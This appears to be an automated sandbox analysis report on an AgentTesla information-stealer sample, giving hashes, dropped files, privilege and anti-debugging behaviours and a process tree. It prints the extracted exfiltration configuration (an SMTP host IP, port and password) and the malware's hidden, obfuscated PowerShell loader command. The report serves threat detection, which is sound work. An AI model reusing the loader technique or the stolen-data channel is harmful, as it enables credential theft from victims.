Analysis
- max time kernel
95s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system - submitted
28/01/2025, 01:06
Static task
static1
Behavioral task
behavioral1
Sample
d9092c1ebe261746efcb538fccda3e27c41e8f011ebc03f5983ad8f9a9f88c4a.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
d9092c1ebe261746efcb538fccda3e27c41e8f011ebc03f5983ad8f9a9f88c4a.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20241007-en
General
- Target d9092c1ebe261746efcb538fccda3e27c41e8f011ebc03f5983ad8f9a9f88c4a.exe
- Size 882KB
- Sample250128-bf3pfssmak
- SHA256 d9092c1ebe261746efcb538fccda3e27c41e8f011ebc03f5983ad8f9a9f88c4a
- MD5 aab6a4173ceb92692dbe30024299f01e
- SHA1 b2dae66489900a449cfb14f66c1413f0a1850108
- SHA512 438fb090a40bade88c91dfb05abe6b1ba0474295fd3ebd5b0c14f539b29bca768eaeb20da16bbf809417690881231ae984dfb55b886b486054afd3f0e1be3c54
- SSDEEP 24576:5PbkackplDNPSwv33lmaIuYgxEJisWHbJrz5ACBv:5wack7BS8lkgEyl
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
agenttesla
-
Protocol
smtp
-
Host
162.254.34.31
-
Port
587
-
Username
-
Password
JaR4LTajHPY5
-
Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Agenttesla family
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3300 powershell.exe - Loads dropped DLL 1 IoCs
pid Process 3484 d9092c1ebe261746efcb538fccda3e27c41e8f011ebc03f5983ad8f9a9f88c4a.exe - Blocklisted process makes network request 3 IoCs
flow pid Process 19 4660 msiexec.exe 21 4660 msiexec.exe 24 4660 msiexec.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Grevmoltkepre\Mundaflsningen168.Bre34 d9092c1ebe261746efcb538fccda3e27c41e8f011ebc03f5983ad8f9a9f88c4a.exe - Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 4660 msiexec.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3300 powershell.exe 4660 msiexec.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Fonts\zees\ulnieret.fer d9092c1ebe261746efcb538fccda3e27c41e8f011ebc03f5983ad8f9a9f88c4a.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
pid pid_target Process procid_target 4008 4660 WerFault.exe 95 - System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d9092c1ebe261746efcb538fccda3e27c41e8f011ebc03f5983ad8f9a9f88c4a.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 3300 powershell.exe 3300 powershell.exe 3300 powershell.exe 3300 powershell.exe 3300 powershell.exe 3300 powershell.exe 3300 powershell.exe 3300 powershell.exe 3300 powershell.exe - Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 3300 powershell.exe - Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 3300 powershell.exe Token: SeIncreaseQuotaPrivilege 3300 powershell.exe Token: SeSecurityPrivilege 3300 powershell.exe Token: SeTakeOwnershipPrivilege 3300 powershell.exe Token: SeLoadDriverPrivilege 3300 powershell.exe Token: SeSystemProfilePrivilege 3300 powershell.exe Token: SeSystemtimePrivilege 3300 powershell.exe Token: SeProfSingleProcessPrivilege 3300 powershell.exe Token: SeIncBasePriorityPrivilege 3300 powershell.exe Token: SeCreatePagefilePrivilege 3300 powershell.exe Token: SeBackupPrivilege 3300 powershell.exe Token: SeRestorePrivilege 3300 powershell.exe Token: SeShutdownPrivilege 3300 powershell.exe Token: SeDebugPrivilege 3300 powershell.exe Token: SeSystemEnvironmentPrivilege 3300 powershell.exe Token: SeRemoteShutdownPrivilege 3300 powershell.exe Token: SeUndockPrivilege 3300 powershell.exe Token: SeManageVolumePrivilege 3300 powershell.exe Token: 33 3300 powershell.exe Token: 34 3300 powershell.exe Token: 35 3300 powershell.exe Token: 36 3300 powershell.exe - Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 3484 wrote to memory of 3300 3484 d9092c1ebe261746efcb538fccda3e27c41e8f011ebc03f5983ad8f9a9f88c4a.exe 83 PID 3484 wrote to memory of 3300 3484 d9092c1ebe261746efcb538fccda3e27c41e8f011ebc03f5983ad8f9a9f88c4a.exe 83 PID 3484 wrote to memory of 3300 3484 d9092c1ebe261746efcb538fccda3e27c41e8f011ebc03f5983ad8f9a9f88c4a.exe 83 PID 3300 wrote to memory of 4660 3300 powershell.exe 95 PID 3300 wrote to memory of 4660 3300 powershell.exe 95 PID 3300 wrote to memory of 4660 3300 powershell.exe 95 PID 3300 wrote to memory of 4660 3300 powershell.exe 95
Processes
-
C:\Users\Admin\AppData\Local\Temp\d9092c1ebe261746efcb538fccda3e27c41e8f011ebc03f5983ad8f9a9f88c4a.exe"C:\Users\Admin\AppData\Local\Temp\d9092c1ebe261746efcb538fccda3e27c41e8f011ebc03f5983ad8f9a9f88c4a.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3484 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Riddersmands=gc -raw 'C:\Users\Admin\AppData\Local\faculative\bladanen\budges\Fiskehandlers\Hallahs.Sal22';$Arbejdsgiverforening=$Riddersmands.SubString(72330,3);.$Arbejdsgiverforening($Riddersmands) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3300 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
PID:4660 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4660 -s 20124⤵
- Program crash
PID:4008
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4660 -ip 46601⤵PID:3360
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f1egec1x.zf3.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\nsoB6DD.tmp\nsExec.dll
- Size 6KB
- SHA256 49a6a1c1f19574b2a247ce6c5adc0751e046d27c30912816ba415f871b74ae5d
- MD5 fa299e199922b3ba833be655a8d71b75
- SHA1 4d74c53bb6927a2831df93af26f3e4e4fb007797
- SHA512 7ceb64d3d826762994c48ffad3ad2234410cbcdbedfce9a2dc03d18915ce22d687173f90e954d7bdb0eae76954c360059ad761aedc48cd7fa4ec29d6094f6a65
- SSDEEP 96:v7fhZwXd8KgEbAa9PweF1WxD8ZLMJGgmkNO38:4N8KgWAuLWxD8ZAGgmkN
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\faculative\bladanen\budges\Fiskehandlers\Hallahs.Sal22
- Size 70KB
- SHA256 cc340fe33ff811ee4dfc92fa04f8c36a56ff3148481876ea3c2ff0431d6a1603
- MD5 9695d9b46c2c1cb26e4b3a3c4da04d58
- SHA1 fb07acf9a8269a657bee6a038d70e020e5954933
- SHA512 982e04e758eb9ab62dd47672cc0e1a4271c09c31c1fea1004b54930dc99b53ac09c07f4dc3ed6bf0a6e1b38505adbaf75dab32a2697c889c9cb32eb9120dc15f
- SSDEEP 1536:nVtw6LhC7znPD4Ge9XebLZ5SxWGOipU4ThrdCAUIcal4IH:fwghC7T74GeBebdcFOipU6hrdCAUIcHU
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\faculative\bladanen\budges\Fiskehandlers\nippende.til
- Size 310KB
- SHA256 916e63af37f43395ff65a89ef88100df8dc44fb6bce17ee5106e8554b03dccde
- MD5 6e31282758387da8b170d09f0098e488
- SHA1 9f161e9dd0c6c1ddb9180fd6271ddfb849aeb547
- SHA512 b96ca10831920d7afe7ff6d155c9f4693359cbe830bab2bcd58afc94894c7fe8cfba59ad9a87fe7c36c34dbe18436470d2dcc24914acb7453ab270d8391e8cf3
- SSDEEP 6144:/LsVy4wo7ZvDEyD3TupHisBN5uRtgssUSHZAjNzG1VOH8XTmuyIsrREl:/7cBJDDE35uLgsDSHWjNK1VlXVUtEl
- MD5 SHA1 SHA512 SSDEEP